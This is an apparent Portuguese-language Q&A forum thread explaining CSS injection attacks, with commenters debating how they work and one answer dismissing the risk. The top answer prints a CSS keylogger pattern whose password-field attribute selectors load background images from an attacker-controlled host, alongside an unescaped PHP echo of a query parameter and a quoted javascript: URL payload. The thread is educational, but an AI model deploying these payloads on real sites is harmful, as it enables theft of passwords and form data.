14

Eu estava lendo uma documentação da Mozilla e me deparei com esse termo CSS Injection Attacks

Tentei dar uma pesquisada, mas não consegui informações que deixassem claro o que é esse tipo de ataque. Mas fiquei um pouco curioso, pois nunca tinha ouvido falar de vulnerabilidades no CSS!

  • Esse tipo de ataque de CSS Injection Attacks é algo realmente preocupante?
  • Tem algum teste que eu possa fazer para saber se estou vulnerável?
  • Existe alguma forma de me prevenir desse tipo de ataque ou de garantir que não vou sofrer esse tipo de ataque?

Fonte de onde vi o termo: https://developer.mozilla.org/en-US/docs/Web/CSS/@document

5
  • Boa pergunta. Também nunca tinha visto esse termo. Será que tem alguma coisa a ver com XSS? Commented 1/02/2019 às 11:27
  • XSS é algo relacionado a cross script? Se for acho que pode ter a ver sim... Eu sou muito leigo nessa área, mas fiquei bem curioso! Só que como eu já não entendo desse tipo de assunto e o pouco que encontrei ainda estava em inglês, ficou complicado entender realmente do que se trata e qual de fato é a técnica. Tb fiquei na dúvida se o próprio browser fica monitorando e bloqueia isso, ou qual tipo de cuidado devemos ter. Achei que seria legal trazer o tópico pra comunidade e ver se alguém tem algum conhecimento para dar umas dicas pra gente :)
    – hugocsl
    Commented 1/02/2019 às 11:31
  • O famoso MySpace Worm foi um ataque via injeção de código por CSS, não foi? Sammy até descreve como o código funciona no website samy.pl/myspace/tech.html
    – Andre
    Commented 1/02/2019 às 11:32
  • XSS é o mesmo que cross-site-scripting. :) Acabei achando um artigo ligeiramente interessante sobre css injection. Vou tentar pesquisar mais e quem sabe tento elaborar uma resposta. :)) Commented 1/02/2019 às 11:35
  • @LuizFelipe legal jovem, se puder trazer uma resposta didática para quem não é muito da área seria interessante. Esse link que o Andre citou é muito interessante! Fiquei de cara com isso <div style="background:url('javascript:alert(1)')"> e essa é só o primeiro passo dos 11 que ele descreve lá. Bem interessante mesmo!
    – hugocsl
    Commented 1/02/2019 às 11:38

2 Respostas 2

12

CSS Injection é sim um ataque que pode às vezes se tornar preocupante, porém depende bastante da sua aplicação, normalmente aplicações como WordPress em que possibilita o usuário inserir o seu próprio CSS é mais vunerável a esse tipo de ataque, o mais comum de se ver é utilizando o background do CSS, você já deve ter reparado que ele utiliza o parâmetro url sendo possível adicionar uma URL externa nesse estilo. Com essa possibilidade é possível hookar eventos de teclas e criar um estilo para cada tecla um exemplo.

Se você tem um formulário com um input que contenha uma senha:

<input type="password" />

Seria possível dessa forma, o invasor injetar um CSS que hooka esse evento, ficando dessa forma:

input[type="password"][value$="a"] { background-image: url("http://localhost:3000/a"); }

input[type="password"][value$="b"] { background-image: url("http://localhost:3000/b"); }

Você adicionando um servidor que ouve essas requisições seria possível saber que a tecla a foi pressionada, assim como seria possível a tecla b, c e assim por diante, é trabalhoso porém é completamente possível criar um keylogger em CSS. Também é possível inserir um JavaScript entre outras opções. Caso queira dar uma analisada em um keylogger CSS, veja este link.

Editado

Para esclarecer os comentários, você necessitaria sim de algo que disparasse o evento, no caso um JavaScript mesmo, mas o que eu quis passar aqui foi a idéia do CSS. Com o código JavaScript adicionado funcionaria o keylogger, porém é notório que a falha não é ocorrida pelo JavaScript e sim pela URL do CSS:

const inp = document.querySelector("input");
inp.addEventListener("keyup", (e) => {
  inp.setAttribute('value', inp.value)
});

E mesmo que não seja adicionado o JavaScript, seria possível sim captar os dados, não atuando como um keylogger exatamente, porém ainda funcionando, pois mesmo que o CSS não funcione como um listener, ainda existem formulários que são preenchidos os values pelo PHP, exemplo que ainda ocorre hoje em dia:

<form>
  <input type="login" value="<?php echo $_GET['login']; ?>" />
</form>

Você também já deve ter reparado que ele só pegará a última letra. Mas a questão aqui é que é sim possível pegar o que digitou, mesmo não sendo a palavra por completo.

3
  • Na verdade não é bem "a tecla 'a' foi presisonada", já que o CSS não detecta alterações no atributo value, somente se for explicitamente colocado no elemento, por exemplo, quando um usuário foi deslogado de um site, mas o site já preenche o seu usuário automaticamente no formulário: <input ... value="valor" />. Veja um exemplo aqui. Commented 1/02/2019 às 11:49
  • @LuizFelipe eu já até tinha feito uma pergunta e realmente o CSS não "atualiza" o value no DOM, tanto que eu não consigo estilizar um input dependendo do value que foi digitado, EX: Se o usuário escrever "sim" dentro do input eu não consigo colocar uma borda verde nele, pois o CSS não atualiza o valor da value... Assim como não remove o valor do value que já estava nele quando o dom renderizou... pt.stackoverflow.com/questions/349018/… Mas Anderson, obrigado pela contribuição!
    – hugocsl
    Commented 1/02/2019 às 11:55
  • @LuizFelipe o css não funciona como uma linguagem de programação e eu sei disso, ela não tem um listener ou algo do tipo, a idéia foi passar o css que mostra onde pode ser injetado algo nele, se é necessário adicionar o js eu adiciono. Porém vale ressaltar que é possivel inserir coisas na url do background que é o foco principal da resposta Commented 1/02/2019 às 12:15
-5

Sério, eu não me preocuparia com CSS Injection, isso não é novo, já foi consertado várias vezes então se tornou um tipo de injection onde é necessário a soma de erros primários por parte do programador/webdesigner, então minha dica é, esquece isso, isso é raridade.

1
  • 7
    Se depende de erros primários do programador/designer, se preocupar com isso é justamente para evitar esses erros. Achei suas colocações meio contraditórias, pois não precisaria tomar cuidado com isso somente se já foi tomado o devido cuidado antes e evitados os problemas.
    – Woss
    Commented 1/02/2019 às 12:19

Você deve fazer log-in para responder a esta pergunta.

Esta não é a resposta que você está procurando? Pesquise outras perguntas com a tag .